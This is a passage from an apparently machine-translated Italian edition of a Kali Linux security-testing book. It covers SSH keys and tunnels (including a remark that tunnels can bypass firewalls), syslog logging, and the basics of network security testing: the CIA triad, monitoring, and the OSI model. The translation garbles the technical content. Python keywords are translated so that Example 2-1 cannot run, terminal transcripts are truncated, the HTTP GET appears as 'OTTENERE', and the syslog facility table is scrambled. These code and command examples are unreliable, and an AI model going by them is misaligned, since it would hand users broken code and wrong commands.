utilizzo, con una persona seduta al computer, Linux eredita la natura
multiutente di Unix (si noti l'ironia della battuta sul nome Unix in
contrapposizione a Multics in un sistema che è stato a lungo utilizzato per
supportare più utenti). Di solito, gli utenti si collegavano a un sistema Unix
remoto. Per molti anni (o decenni), ciò è stato fatto utilizzando Telnet .
Questo protocollo è pensato per imitare il modo in cui un terminale
collegato direttamente a un grande computer comunicherebbe, tranne per
il fatto che comunicherebbe sulla rete anziché su una connessione seriale
cablata. Telnet può creare confusione perché non è solo un protocollo, ma
anche il nome per il client e il server. Telnet in genere non è più utilizzato
perché è un protocollo in chiaro, il che significa che dati come nomi utente
e password vengono trasmessi senza alcuna protezione in modo che
possano essere raccolti sulla rete.
Secure Shell (SSH) , d'altro canto, è crittografato. È stato sviluppato dal
progetto OpenBSD come un modo per connettersi da remoto ai sistemi
tramite un canale crittografato. Proprio come con Telnet, SSH utilizza un
client e un server. Il client SSH si connette al server, che avvia una sessione
di accesso. Mentre puoi fornire le tue credenziali di accesso (nome utente
e password), SSH consente anche l'uso di chiavi per abilitare
l'autenticazione. Per supportare la crittografia, SSH utilizza una coppia di
chiavi pubblica e privata. Queste chiavi possono anche essere utilizzate per
autenticare un client su un server poiché la chiave pubblica del client
dovrebbe essere nota solo all'utente che possiede la chiave. L'esempio 111 mostra come ssh-keygen genera la coppia di chiavi pubblica e privata.
Esempio 1-11. Generazione di una coppia di chiavi pubblica/privata
kilroy@billthecat:~ $ ssh-keygen
Generazione della coppia di chiavi RSA
pubblica/privata.
Inserisci il file in cui salvare la chiave
(/home/kilroy Inserisci la passphrase (vuoto per
nessuna passphrase):
Inserisci nuovamente la stessa passphrase:
La tua identificazione è stata salvata in
/home/kilro
La tua chiave pubblica è stata salvata in
/home/kilroy/.s. L'impronta digitale della chiave
è:
SHA256:sqFcPJ11x8I/ODJ4xAIer885oam287lZo8Cb36fVvO
L'immagine randomart della chiave è:
+---[RSA 3072]----+
| |
| + . |
| = * o |
| . . = * = |
| * S = + o |
| . o * . +.. + |
| o . o .oo.. o|
| o+oO.+...|
| .=*B.*+.E.|
+----[SHA256]-----+
L'ideale sarebbe impostare una password sulla chiave, che solo tu conosci.
Questo protegge la chiave dall'uso/abuso. Se non imposti una password e
qualcuno riesce a ottenere la chiave, potrebbe usarla per spacciarsi per te.
Per usare la chiave per autenticarti, devi copiare la chiave pubblica sul
server remoto. Questo può essere fatto automaticamente con ssh-copy-id ,
come visto nell'Esempio 1-12 .
Esempio 1-12. Copia della chiave pubblica sul server remoto
kilroy@billthecat:~ $ ssh-copy-id kilroy@192.168
/usr/bin/ssh-copy-id: INFO: Origine della/e
chiave/e per b
"/home/kilroy/.ssh/id_rsa.pub" /usr/bin/ssh-copyid: INFO: tentativo di disconnessione da quelli
già installati /usr/bin/ssh-copy-id: INFO: 1
chiave(e) rimane da richiedere ora è necessario
installare le nuove chiavi Password di
kilroy@192.168.4.10: Numero di chiavi aggiunte: 1
Ora prova ad accedere alla macchina con: "ssh 'k"
e verifica che siano presenti solo le chiavi che
hai
Se non hai impostato una password sulla chiave, la prossima volta che ti
collegherai tramite ssh al server remoto, sarai automaticamente loggato.
Se hai impostato una password sulla chiave, ti verrà richiesta la password
per la chiave, non quella sul server remoto, che dovrebbe essere diversa.
SSH abilita anche una capacità davvero importante che spesso viene
trascurata. Poiché stai creando una sessione crittografata, hai
effettivamente un tunnel tra il client e il server. Possiamo sfruttare questa
capacità di tunneling per passare il traffico da un sistema o da un set di
sistemi a un altro. Nell'esempio 1-13 , puoi vedere la configurazione del
tunnel con un listener creato sulla porta 8080. Qualsiasi connessione alla
porta 8080 sul sistema locale verrà inoltrata a www.google.com sulla porta
80, ma avverrà tramite la sessione SSH a 192.168.4.10. Ciò significa in
pratica che ti connetti alla porta 8080 sull'host locale e il traffico viene
inviato a 192.168.4.10 tramite la sessione SSH, dove viene inoltrato a
www.google.com . Il traffico di ritorno viene inviato indietro tramite il
tunnel.
Esempio 1-13. Impostazione di un tunnel SSH
kilroy@billthecat:~ $ ssh -L 8080:www.google.com
Benvenuti in Ubuntu 22.04.4 LTS (GNU/Linux
5.15.0Ultimo accesso: Sab 4 Mag 23:09:52 2024 da
192.168
<-- sessione separata qui --> kilroy@billthecat:~
$ telnet 127.0.0.1 8080 Tentativo con
127.0.0.1...
Connesso a 127.0.0.1.
Il carattere di escape è '^]'.
OTTENERE /
HTTP/1.0 200 OK
Data: Sab, 04 Mag 2024 23:11:18 GMT
Scade: -1
Cache-Control: privato, max-age=0
Tipo di contenuto: testo/html; set di
caratteri=ISO-8859-1
Solo report sulla politica di sicurezza dei
contenuti: object-src ↩
'nessuno';base-uri 'self';src-script ↩
'nonce-8jVCtsGFyyU3qD-uOhLDpw' 'strict-dynamic'
↩ 'report-sample' 'unsafe-eval' 'unsafe-inline'
↩ https: http:;report-uri ↩
https://csp.withgoogle.com/csp/gws/other-hp P3P:
CP="Questa non è una politica P3P! Vedi
g.co/p3phe
Server: gws
X-XSS-Protezione: 0
Opzioni X-Frame: SAMEORIGIN Set-Cookie:
AEC=AQTF6Hysa1Vvt-DXzYNlnEgiCzZ3BznIv scade=gio,
31-ott-2024 23:11:18 GMT; percorso=/; fai
HttpOnly; SameSite=lax
È anche possibile avere un tunnel remoto in cui il traffico dal sistema
remoto viene rimandato al sistema locale. Utilizzando questi tunnel SSH, è
possibile passare il traffico da un sistema o rete a un altro sistema. Questo
approccio può bypassare i firewall se si riesce a ottenere una sessione SSH
ma, ad esempio, il traffico web è bloccato dal firewall.
Gestione dei registri
Per la maggior parte, se stai eseguendo test di sicurezza, potresti non aver
mai realmente bisogno di guardare i log sul tuo sistema. Tuttavia, nel corso
di molti anni, ho scoperto che i log sono assolutamente preziosi. Per
quanto solida sia una distribuzione come Kali, c'è sempre la possibilità che
qualcosa vada storto e dovrai indagare. Anche quando tutto va bene,
potresti comunque voler vedere cosa sta registrando un'applicazione. Per
questo motivo, devi comprendere il sistema di registrazione in Linux. Per
farlo, devi sapere cosa stai usando. Unix ha utilizzato a lungo syslog come
logger di sistema, sebbene abbia iniziato la sua vita come una funzione di
registrazione per il server di posta sendmail.
Nel corso degli anni, syslog ha avuto molte implementazioni. Kali Linux non
viene fornito con un'implementazione syslog comune installata, anche se
puoi installare un tipico logger di sistema come rsyslog . È
un'implementazione abbastanza semplice ed è facile determinare le
posizioni dei file in cui dovrai cercare le informazioni di log. In generale,
tutti i log vanno in /var/log . Tuttavia, dovrai cercare in file specifici le voci
di log in diverse categorie di informazioni. Su Kali, dovresti controllare il file
/etc/rsyslog.conf . Oltre a vedere molte altre impostazioni di
configurazione, vedrai le voci mostrate nell'Esempio 1-14 .
Esempio 1-14. Configurazione del registro per rsyslog
auth,authpriv.*
/var/log/auth.log
cron.*
/var/log/cron.lo kern.* -/var/log/kern.lo mail.* /var/log/mail.lo utente .* -/var/log/utente.lo
# # Le emergenze vengono inviate a tutti
coloro che hanno effettuato l'accesso.
#
*.emerg :omusrmsg:*
Ciò che vedi sul lato sinistro è una combinazione di facility e livello di
gravità. La parola prima del punto è facility . La facility si basa sui diversi
sottosistemi che stanno registrando tramite syslog . Potresti notare che
syslog risale a molto tempo fa, quindi ci sono ancora facility identificate per
sottosistemi e servizi che difficilmente vedrai molto oggigiorno. Nella
Tabella 1-1 , vedrai l'elenco delle facility come definite per l'uso in syslog .
La colonna Descrizione indica a cosa serve la facility nel caso in cui la
facility stessa non ti fornisca tali informazioni.
Insieme alla facility c'è il valore di gravità . La gravità ha potenziali valori di
Emergenza, Avviso, Critico, Errore, Avviso, Notifica, Informativo e Debug.
Queste gravità sono elencate in ordine decrescente, con la più grave
elencata per prima. Puoi stabilire che i log di Emergenza debbano essere
inviati in un posto diverso da dove vengono inviati gli altri livelli di gravità.
Nell'Esempio 1-14 , tutte le gravità vengono inviate al log associato a
ciascuna facility. Il "*" dopo il nome della facility indica tutte le facility. Se,
ad esempio, volessi inviare errori dalla facility auth a uno specifico file di
log, dovresti usare auth.error e indicare il file che vuoi usare.
Tabella 1-1. Strutture Syslog
Facilità
Facilità
Descrizione
0
nocciolo
Messaggi del kernel
1
utente
Messaggi a livello utente
2
posta
Sistema di posta
3
demone
Demoni di sistema
4
autenticazione
5
registro di
sistema
6
lpr
Sottosistema della stampante di
linea
7
notizia
Sottosistema di notizie di rete
8
UUCP-UUCP
Sottosistema UUCP
numero
Messaggi di
sicurezza/autorizzazione
Messaggi generati internamente da
syslogd
9
Demone dell'orologio
10
authpriv
Sicurezza/autorizzazione
messaggi
Facilità
Facilità
Descrizione
11
ftp
Demone FTP
12
-Sottosistema NTP
13
-
Controllo del registro
14
-
Avviso di registro
numero
15
cronologie
Demone di pianificazione
16
locali0
Uso locale 0 ( local0 )
17
locale1
Uso locale 1 ( locale1 )
18
locale2
Uso locale 2 ( local2 )
19
locale3
Uso locale 3 ( local3 )
20
locali4
Uso locale 4 ( local4 )
21
locale5
Uso locale 5 ( local5 )
22
locali6
Uso locale 6 ( local6 )
23
locale7
Uso locale 7 ( local7 )
Una volta che sai dove sono conservati i log, devi essere in grado di
leggerli. Fortunatamente, le voci di log syslog sono abbastanza facili da
analizzare. L'esempio 1-15 mostra una raccolta di voci di log da auth.log su
un sistema Kali. Partendo dalla sinistra della voce, vedrai la data e l'ora in
cui è stata scritta la voce di log. Questo è seguito dal nome host. Poiché
syslog ha la capacità di inviare messaggi di log a host remoti, come un host
di log centrale, il nome host è importante per separare una voce dall'altra
se stai scrivendo log da più host nello stesso file di log. Dopo il nome host
ci sono il nome del processo e il PID. La maggior parte di queste voci
proviene dal processo denominato realmd che ha un PID di 803.
Esempio 1-15. Contenuto parziale del registro auth.log
2023-05-21T18:14:30.094986-04:00 badmilo sudo:
sessione pa chiusa per l'utente root 2023-0521T18:15:01.783725-04:00 badmilo CRON[418
sessione aperta per l'utente root(uid=0) da
(uid=0) 2023-05-21T18:15:01.787913-04:00 badmilo
CRON[418 sessione chiusa per l'utente root 202305-21T18:16:59.653896-04:00 badmilo sudo:
PWD=/var/log ; UTENTE=root ; COMANDO=/usr/bin/cat
a 2023-05-21T18:16:59.654531-04:00 badmilo sudo:
pa sessione aperta per l'utente root(uid=0) da
(uid=1000 La parte difficile del registro non è il preambolo, che
viene creato e scritto dal servizio syslog, ma le voci dell'applicazione.
Una cosa bella delle voci syslog è che sono scritte in inglese, quindi
finché capisci l'inglese e conosci il formato, puoi leggere le voci. Tuttavia,
il contenuto delle voci del registro viene creato dall'applicazione stessa,
il che significa che il programmatore deve chiamare funzioni che
generano e scrivono le voci del registro. Alcuni programmatori
potrebbero essere più bravi di altri a generare voci di registro utili e
comprensibili. Una volta che ti sarai abituato a leggere i registri, inizierai
a capire cosa stanno dicendo. Se ti imbatti in una voce di registro di cui
hai veramente bisogno ma che non capisci, i motori di ricerca Internet
possono sempre aiutarti a trovare qualcuno che ha una migliore
comprensione di quel registro voce. In alternativa, puoi contattare il
team di sviluppo software per ricevere assistenza.
Non tutti i log passano attraverso syslog, ma tutti i log correlati al sistema
sì. Anche quando syslog non gestisce i log per un'applicazione, come nel
caso del server web Apache, è probabile che i log siano ancora in /var/log/
. In alcuni casi, potresti dover andare a cercare i log. Questo potrebbe
essere il caso di alcuni software di terze parti che si installano in /opt .
Riepilogo
Linux ha una lunga storia, che risale ai tempi in cui le risorse erano molto
limitate. Ciò ha portato ad alcuni comandi arcani il cui scopo era quello di
consentire agli utenti (principalmente programmatori) di essere efficienti. È
importante trovare un ambiente che funzioni bene per te, così anche tu
puoi essere efficiente nel tuo lavoro. Ecco alcuni punti chiave da trarre da
questo capitolo:
Unix è un ambiente creato da programmatori per programmatori che
utilizza la riga di comando.
Unix è stato creato con strumenti semplici e monouso che possono essere
combinati per svolgere attività più complesse.
Kali Linux dispone di diverse interfacce grafiche utente (GUI) che è
possibile installare e utilizzare; è importante trovarne una con cui ci si
sente più a proprio agio.
Ogni ambiente desktop ha molte opzioni di personalizzazione. Kali è
basato su systemd , quindi la gestione dei servizi usa systemctl .
I processi possono essere gestiti tramite segnali, tra cui interrupt e kill.
I registri saranno i tuoi amici e ti aiuteranno a risolvere gli errori.
I registri vengono solitamente archiviati in /var/log .
I file di configurazione vengono solitamente archiviati in /etc , anche se i
singoli file di configurazione vengono archiviati nella directory home.
Risorse utili
Linux in poche parole , 6a edizione , di Ellen Siever et al. (O'Reilly, 2009)
Amministrazione pratica del sistema Linux di Kenneth Hess
(O'Reilly, 2023)
Linux efficiente dalla riga di comando di Daniel J. Barrett
(O'Reilly, 2022)
sito web di Kali Linux
“Nozioni di base sull’amministrazione del sistema Linux ” di Linode
Capitolo 2. Nozioni di base sui test di
sicurezza della rete
Il test di sicurezza è un termine ampio che significa molte cose diverse.
Spesso, il test di penetrazione viene eseguito da remoto, sulla rete.
Tuttavia, non tutti i test di sicurezza sono test di penetrazione. A volte, i
team di sviluppo potrebbero voler testare le applicazioni, comprese le
applicazioni Web. Queste applicazioni Web potrebbero includere una serie
di servizi di rete. A volte, potresti testare non solo le applicazioni in rete,
ma anche i dispositivi. Sia l'applicazione che il dispositivo potrebbero dover
essere sottoposti a stress test per garantire che possano gestire diversi tipi
di traffico o persino grandi volumi di traffico.
Capire come vengono definiti gli stack di protocolli di rete è essenziale se si
desidera eseguire qualsiasi tipo di test di sicurezza basato sulla rete. Un
modo per definire i protocolli e, più specificamente, le loro interazioni, è
usare il modello Open Systems Interconnection (OSI). Usando il modello
OSI, possiamo suddividere le comunicazioni in diversi elementi funzionali e
vedere chiaramente dove vengono aggiunte diverse informazioni ai
pacchetti di rete mentre vengono creati. Inoltre, puoi
è possibile osservare l'interazione tra sistemi attraverso gli elementi
funzionali.
Lo stress testing non consiste solo nel generare molto traffico e inviarlo a
un'applicazione o un dispositivo. In alcuni casi, potresti stressare
un'applicazione o un dispositivo inviandogli dati non previsti. Le
applicazioni, anche quelle eseguite su dispositivi a uso limitato (pensa
all'Internet of Things come termostati, serrature, interruttori della luce),
hanno un'aspettativa sul tipo e sulla struttura dei dati che verranno
ricevuti. Inviare qualcosa di diverso da ciò che era previsto potrebbe
causare un errore dell'applicazione. È utile saperlo. Questo è un altro tipo
di stress testing, poiché stai stressando la logica dell'applicazione.
Questo è uno dei motivi per cui è importante comprendere come sono
costruiti i protocolli di comunicazione. Eseguire test di sicurezza di rete
richiede di comprendere come si uniscono i livelli del modello di
comunicazione. Una volta fatto questo, puoi pensare a come vuoi
approcciare i test di sicurezza. Naturalmente, è anche utile capire cosa
sono i test di sicurezza, quindi iniziamo da lì; poi possiamo entrare nel
dettaglio di come funzionano gli stack di comunicazione.
Test di sicurezza
Quando molte persone sentono il termine test di sicurezza , potrebbero
pensare al test di penetrazione, dove l'obiettivo è entrare nei sistemi e
acquisire i privilegi più elevati possibili. Il test di sicurezza non riguarda solo
lo scoppio di scatole. Infatti, potresti suggerire che la maggior parte dei test
di sicurezza non è un test di penetrazione. Ci sono semplicemente così
tante aree di protezione di sistemi e software che non sono correlate a ciò
che comunemente verrebbe pensato come test di penetrazione. Prima di
iniziare a parlare di cosa possiamo fare con Kali Linux quando si tratta di
test di sicurezza di rete, dovremmo esaminare cosa è la sicurezza in modo
da poter comprendere meglio cosa significa test in questo contesto.
Quando i professionisti, e certamente le organizzazioni di certificazione,
parlano di sicurezza, fanno riferimento a quella che è comunemente nota
come la triade . Alcuni aggiungeranno elementi, ma al centro della
sicurezza delle informazioni ci sono tre elementi fondamentali:
riservatezza, integrità e disponibilità. Tutto ciò che può avere un impatto su
uno di questi aspetti dei sistemi o del software ha un impatto sulla
sicurezza di quel software o sistema. I test di sicurezza prenderanno o
dovrebbero prendere in considerazione tutti questi aspetti e non la visione
limitata che un test di penetrazione può fornire.
Come forse saprai, la triade è rappresentata da un triangolo equilatero. Il
triangolo è equilatero perché tutti e tre gli elementi sono considerati di
peso uguale. Inoltre, se uno qualsiasi degli elementi viene perso, non hai
più un triangolo. Puoi vedere una rappresentazione comune nella Figura 21 , dove tutti e tre i lati hanno la stessa lunghezza. Ognuno di questi
elementi è considerato cruciale affinché le informazioni siano considerate
affidabili e degne di fiducia. Oggigiorno, poiché le aziende e le persone
fanno così tanto affidamento sulle informazioni archiviate digitalmente, è
essenziale che le informazioni siano disponibili, riservate quando
necessario e abbiano integrità.
Figura 2-1. La triade della CIA
La maggior parte delle aziende si basa sui segreti. Anche le persone hanno
segreti: il loro numero di previdenza sociale, le password, le informazioni
fiscali, le informazioni mediche e una varietà di altri dati. Le aziende
devono proteggere la loro proprietà intellettuale, per prima cosa. Possono
avere molti segreti commerciali che potrebbero avere un impatto negativo
sull'azienda se le informazioni dovessero uscire dall'organizzazione.
Mantenere segrete queste informazioni, indipendentemente da cosa siano,
è riservatezza . Ogni volta che le informazioni possono essere recuperate
da chiunque non abbia l'autorizzazione per recuperarle, la riservatezza è
stata violata. Questo è l'elemento principale che è stato colpito in
innumerevoli furti di dati, da Target, all'Office of Personnel Management
degli Stati Uniti, a Equifax e Sony. Quando le informazioni dei consumatori
vengono rubate, la riservatezza di tali informazioni è stata compromessa.
Anche gli attacchi ransomware moderni hanno ripercussioni sulla
riservatezza.
Gli aggressori ruberanno i dati con la minaccia di renderli pubblici.
In genere, ci aspettiamo che quando memorizziamo qualcosa, sarà lo
stesso quando andremo a recuperarlo. I dati corrotti o alterati possono
essere causati da vari fattori, che potrebbero non essere necessariamente
di natura malevola. Solo perché parliamo di sicurezza non significa sempre
che stiamo parlando di comportamento malevolo.
Certamente, i casi che ho menzionato in precedenza erano malevoli.
Tuttavia, una memoria difettosa o difettosa può causare la corruzione dei
dati su un disco. Lo dico per esperienza personale. Allo stesso modo, dischi
rigidi difettosi o altri supporti di memorizzazione possono causare la
corruzione dei dati. Naturalmente, in alcuni casi azioni malevole e
deliberate porteranno a dati corrotti o non corretti. Quando tali
informazioni sono state corrotte, indipendentemente dalla causa, si tratta
di un fallimento o di una violazione dell'integrità. L'integrità riguarda
interamente qualcosa che si trova in uno stato in cui ci si aspetta
ragionevolmente che si trovi. Considera di nuovo il ransomware. Quando i
dati sono stati crittografati da un aggressore, hanno perso la loro integrità
poiché non sono nello stato in cui si trovavano quando l'utente vi ha
effettuato l'ultimo accesso.
Infine, consideriamo la disponibilità . Se stacco la spina del tuo computer
dal muro, che probabilmente cade a terra e forse mi colpisce la testa nel
farlo, il tuo computer non sarà disponibile (sempre che si tratti di un
sistema desktop e non di un sistema con batteria). Allo stesso modo, se hai
un cavo di rete e la clip si è staccata in modo tale che il connettore non
rimane nella presa a muro o nella scheda di interfaccia di rete, il tuo
sistema non sarà disponibile sulla rete. Ciò potrebbe avere un impatto su di
te, ovviamente, e sulla tua capacità di svolgere il tuo lavoro, ma potrebbe
anche avere un impatto su altri se hanno bisogno di qualcosa che si trova
sul tuo computer. Ogni volta che si verifica un errore del server, si verifica
un impatto sulla disponibilità. Se un aggressore può causare il fallimento di
un servizio o di un intero sistema operativo, anche temporaneamente, si
verifica un impatto sulla disponibilità, il che può avere gravi conseguenze
per l'azienda. Potrebbe significare che i consumatori non possono
accedere ai servizi pubblicizzati. Potrebbe significare un sacco di spese in
manodopera e altre risorse per mantenere i servizi in funzione e
disponibili, come nel caso delle banche che sono state colpite da enormi,
prolungati e lunghi attacchi denial-of-service. Mentre il tentativo di un
fallimento della disponibilità non ha avuto successo, c'è stato un impatto
sul business nel combatterlo. Un'altra visita alla casa del ransomware è dire
che se non si ha la chiave di decrittazione per sbloccare i dati crittografati,
si ha un problema di disponibilità. Se non è leggibile, non è disponibile,
almeno in una forma utilizzabile.
Ciò solleva la questione dei limiti della triade della CIA. Donn Parker ha
proposto tre proprietà aggiuntive della sicurezza informatica: controllo,
autenticità e utilità. Il controllo riguarda il possesso. Se ho il possesso di
una risorsa, ne ho il controllo. L'autenticità riguarda la verifica. L'oggetto in
questione è ciò che dovrebbe essere? Ciò include la fonte del materiale,
comprese le e-mail. Le firme digitali sono modi per verificare l'autenticità.
Infine, l'utilità è se qualcosa è utile. Questo è forse un termine migliore per
quando i dati sono stati crittografati da un attore di minacce ransomware.
Tecnicamente, i file sono disponibili; semplicemente non sono molto utili
nella forma in cui si trovano.
Testare qualsiasi cosa correlata a questi elementi è un test di sicurezza,
indipendentemente dalla forma che il test può assumere. Quando si tratta
di test di sicurezza di rete, potremmo testare la fragilità del servizio, la
forza della crittografia e altri fattori. Ciò che esamineremo quando
parleremo di test di rete è un set di strumenti di stress test per iniziare.
Esamineremo anche altri strumenti che a volte sono noti per causare
guasti di rete. Mentre molti bug negli stack di rete dei sistemi operativi
sono stati probabilmente risolti anni fa, a volte potresti imbatterti in
dispositivi più leggeri e fragili che potrebbero essere collegati alla rete.
Questi dispositivi potrebbero essere più suscettibili a questo tipo di
attacchi. Questi dispositivi potrebbero includere stampanti, telefoni Voice
over IP, termostati, frigoriferi e quasi innumerevoli altri dispositivi che
vengono collegati, sempre di più, alle reti in questi giorni.
Test di sicurezza della rete
Viviamo grazie alla rete; moriamo grazie alla rete. Quante delle tue
informazioni personali sono attualmente archiviate direttamente o sono
almeno disponibili tramite Internet, che le tue informazioni siano
archiviate su un dispositivo sulla tua rete locale, sulla rete aziendale del tuo
datore di lavoro o da qualche altra parte su Internet, un posto
comunemente chiamato cloud ? Quando viviamo le nostre vite
aspettandoci che tutto sia disponibile e accessibile tramite la rete, è
essenziale che ci assicuriamo che i nostri dispositivi siano in grado di
sostenere un attacco.
Monitoraggio
Prima di effettuare qualsiasi test, dobbiamo parlare dell'importanza del
monitoraggio. Se esegui uno dei test di cui stiamo parlando per la tua
azienda o per un cliente, idealmente non stai rimuovendo nulla
deliberatamente a meno che non ti sia stato chiesto di farlo. Tuttavia, non
importa quanto tu sia attento, c'è sempre la possibilità che possa accadere
qualcosa di brutto e che i servizi o i sistemi possano essere abbattuti. Ecco
perché è essenziale comunicare con le persone che possiedono i sistemi in
modo che possano tenere d'occhio i loro sistemi e servizi. Le aziende non
vorranno avere un impatto sui loro clienti, quindi vorranno spesso che il
personale sia disponibile per riavviare i servizi o i sistemi se necessario.
NOTA
Alcune aziende potrebbero voler testare il loro personale operativo, il che significa che si aspettano
che tu faccia il possibile per infiltrarti e mettere fuori uso sistemi e servizi, senza causare danni a lungo
termine o permanenti. Questo è comunemente chiamato red teaming . In questo caso, non
comunicheresti con nessuno se non con la direzione che ti ha assunto. Nella maggior parte dei casi,
tuttavia, le aziende vorranno mantenere operativo il loro ambiente di produzione. Se parte del
personale operativo o la sua direzione è coinvolta, cercando di vedere se sono in grado di rilevare
l'infiltrazione, il test è chiamato purple teaming . Il personale operativo è il team blu; il team di attacco
è il team rosso. Metti insieme i due e ottieni un team viola.
Se è coinvolto il personale operativo, vorrà avere una sorta di monitoraggio
in atto. Questo potrebbe essere il monitoraggio dei log, che è
generalmente consigliabile. Tuttavia, i log non sono sempre affidabili. Dopo
tutto, se riesci a mandare in crash un servizio, il servizio potrebbe non
avere abbastanza tempo per scrivere qualcosa di utile nei log prima di
fallire. Questo non significa, tuttavia, che dovresti scartare i log. Tieni
presente che lo scopo dei test di sicurezza è quello di aiutare a migliorare la
postura di sicurezza dell'azienda per cui lavori. I log potrebbero essere
essenziali per ottenere suggerimenti su cosa sta succedendo con il
processo prima che fallisca. I servizi potrebbero non fallire nel senso che il
processo si interrompe, ma a volte il servizio potrebbe non comportarsi
come previsto. È qui che i log possono essere importanti, per avere un'idea
di cosa stava cercando di fare l'applicazione.
Potrebbe essere presente un watchdog. I watchdog sono talvolta utilizzati
per garantire che un processo resti attivo. Se il processo fallisce, il PID non
apparirà più nella tabella dei processi e il watchdog saprà di dover riavviare
quel processo. Questo stesso tipo di capacità di watchdog può essere
utilizzato per determinare se il processo è fallito. Anche se non si desidera
che il processo venga riavviato, tenere d'occhio la tabella dei processi per
vedere se il processo è fallito sarà un indicatore se è successo qualcosa al
processo.
Con la vecchia inizializzazione del sistema init, potevi usare il file
/etc/inittab per specificare i processi che devono essere riavviati in caso di
crash. Con il moderno software di inizializzazione del sistema systemd, puoi
configurare i servizi in modo che si riavviino automaticamente se si
bloccano. Questo viene fatto nel file di configurazione con l'impostazione
Restart= . Puoi impostare questo parametro su always o forse onfailure .
Non tutte le applicazioni, però, sono servizi. Puoi trasformare qualsiasi cosa
in un servizio creando un file di configurazione systemd e
avviando/arrestando il servizio usando systemctl . Potresti non voler
passare attraverso quel processo, però. Puoi usare qualcosa come uno
script Python per riavviare automaticamente un processo quando si blocca.
L'esempio 2-1 genera un messaggio quando il processo fallisce, quindi lo
riavvia. Devi solo fornire il nome dell'eseguibile sulla riga di comando
quando esegui lo script.
Esempio 2-1. Codice Python per riavviare il processo in caso di errore
importa sys da datetime
importa datetime importa
sottoprocesso
cmd = sys.argv[1]
retcode = 1 mentre
retcode != 0:
prog = sottoprocesso.run(cmd)
retcode = prog.returncode
if retcode != 0:
print("Program failed at ", datetime.now(
I processi in fuga possono iniziare a consumare risorse del processore. Di
conseguenza, è essenziale esaminare l'utilizzo del processore e della
memoria. Puoi farlo utilizzando utility di monitoraggio open source. Puoi
anche utilizzare software commerciale o, nel caso di Windows o macOS,
utility integrate del sistema operativo per il monitoraggio. Un programma
di monitoraggio popolare è Nagios Core. Su uno dei miei sistemi, ho
installato Nagios Core. Esiste una versione commerciale di Nagios, che è da
tempo una soluzione di monitoraggio open source, ma Nagios Core è
ancora gratuito ed è disponibile in molti repository di distribuzione, tra cui
Ubuntu e Kali. Nella Figura 2-2 , puoi vedere la pagina Servizi, che mostra
lo stato dei servizi sull'host su cui è in esecuzione Nagios Core. Senza
alcuna configurazione aggiuntiva, Nagios monitora il numero di processi,
l'utilizzo del processore e lo stato del servizio sia dei server SSH che HTTP.
Figura 2-2. Monitoraggio delle risorse
Se non si ottiene la collaborazione, per qualsiasi motivo, del personale
operativo e non si ha accesso diretto ai sistemi sottoposti a test, potrebbe
essere necessario essere in grado di tracciare almeno lo stato del servizio
da remoto. Quando si utilizzano alcuni degli strumenti di test di rete di cui
parleremo qui, potrebbero smettere di ricevere risposte dal servizio
sottoposto a test. Questo potrebbe essere o meno il risultato del fallimento
del servizio. Potrebbe essere un problema con il monitoraggio o potrebbe
essere un meccanismo di sicurezza in atto per arrestare gli abusi di rete. È
importante verificare manualmente il servizio per assicurarsi che sia
inattivo.
MANCIA
Quando esegui un test e noti che un servizio è fallito, assicurati di aver annotato, al meglio delle tue
capacità, dove si è verificato il guasto. Dire a un cliente o al tuo datore di lavoro che un servizio è
fallito non è molto utile perché non sapranno come risolverlo. Tenere appunti dettagliati ti aiuterà
quando arriverai alla segnalazione, così potrai dire loro esattamente cosa stavi facendo quando il
servizio è fallito se hanno bisogno di ricrearlo per risolvere il problema. Momenti specifici potrebbero
consentire loro di trovare dettagli nei registri, il che può aiutarli a individuare il problema sottostante.
I test manuali possono essere eseguiti utilizzando uno strumento come
netcat o anche il client telnet . Quando ti connetti a una porta di servizio
utilizzando uno di questi strumenti, otterrai un'indicazione se il servizio è
reattivo. Questo, ovviamente, si basa sul fatto che tu stia testando un
servizio di rete piuttosto che un'applicazione locale. Eseguire questa
verifica manuale, soprattutto se eseguita da un sistema separato per
escludere il blocco, può aiutare a escludere falsi positivi. In definitiva, molti
test di sicurezza possono ridursi a escludere falsi positivi che derivano dai
diversi strumenti che utilizziamo. Il monitoraggio e la convalida sono
essenziali per assicurarti che ciò che stai presentando al tuo datore di
lavoro o cliente sia valido e attuabile. Ricorda, stai cercando di aiutarli a
migliorare la loro postura di sicurezza, non solo a indicare dove le cose
sono rotte.
Strati
Come suggerisce Ciuchino nel film Shrek , gli strati sono importanti. In
realtà, Shrek dice che gli orchi hanno strati e Ciuchino dice che le torte
hanno strati, ma Shrek paragona gli orchi alle cipolle e la torta è meglio
delle cipolle. Inoltre, sento ancora Eddie Murphy nei panni di Ciuchino dire
che le torte hanno strati. Nessuno di questi è il punto, ovviamente. Tranne
la torta. La torta potrebbe essere il punto, perché quando parliamo di reti e
comunicazioni tra sistemi, di solito parliamo di strati. Se pensi a una torta
con sette strati sottili, potresti essere in grado di immaginare il modo in cui
pensiamo alle reti. Inoltre, per immaginare il processo migliore, dovresti
immaginare due fette di torta. Due fette di torta devono essere meglio di
una, giusto?
La figura 2-3 mostra una semplice rappresentazione dei sette livelli del
modello OSI e di come ogni livello comunica con lo stesso livello sui sistemi
remoti. Puoi immaginare che le linee tra ciascuno dei livelli siano in realtà
glassa e forse marmellata, solo per renderle più interessanti. Inoltre, la
marmellata aiuterà i livelli ad aderire l'uno all'altro poiché è appiccicosa.
Ogni livello su ogni sistema con cui stai comunicando è esattamente lo
stesso, quindi quando invii un messaggio da una fetta di torta all'altra fetta
di torta, è il livello corrispondente dalla torta che invia alla torta che riceve.
Figura 2-3. Modello OSI che mostra la comunicazione tra sistemi
Pensiamoci in questo modo. Il nostro primo strato in fondo è lo strato fisico
, quindi possiamo pensare a questo come al pistacchio. Il nostro strato
(fisico) del pistacchio è dove ci colleghiamo alla rete o, in questo caso, al
piatto su cui poggia la torta. Come per la torta, non c'è nulla tra lo strato
fisico del sistema e la rete. Prendi la tua interfaccia di rete e inserisci un
cavo, collegandolo all'altra estremità a un jack. Questo è tutto lo strato
fisico. Nella nostra torta, il pistacchio poggia direttamente sul piatto, senza
nulla in mezzo.
Il nostro livello successivo, che deve passare attraverso glassa e
marmellata in modo che il sistema operativo possa distinguere tra un
livello e l'altro, è il dulce de leche (pensa al caramello fatto con il latte).
Questo è il nostro livello dati . Questo livello è indirizzato tramite l'indirizzo
MAC (Media Access Control). Questo indirizzo include 3 byte che
appartengono al fornitore (a volte indicato come identificatore univoco
organizzativo o OUI). Gli altri 3 byte sono l'identificatore univoco per la
tua interfaccia di rete. I due componenti insieme sono l'indirizzo MAC a 6
byte. Qualsiasi comunicazione sulla tua rete locale deve avvenire a questo
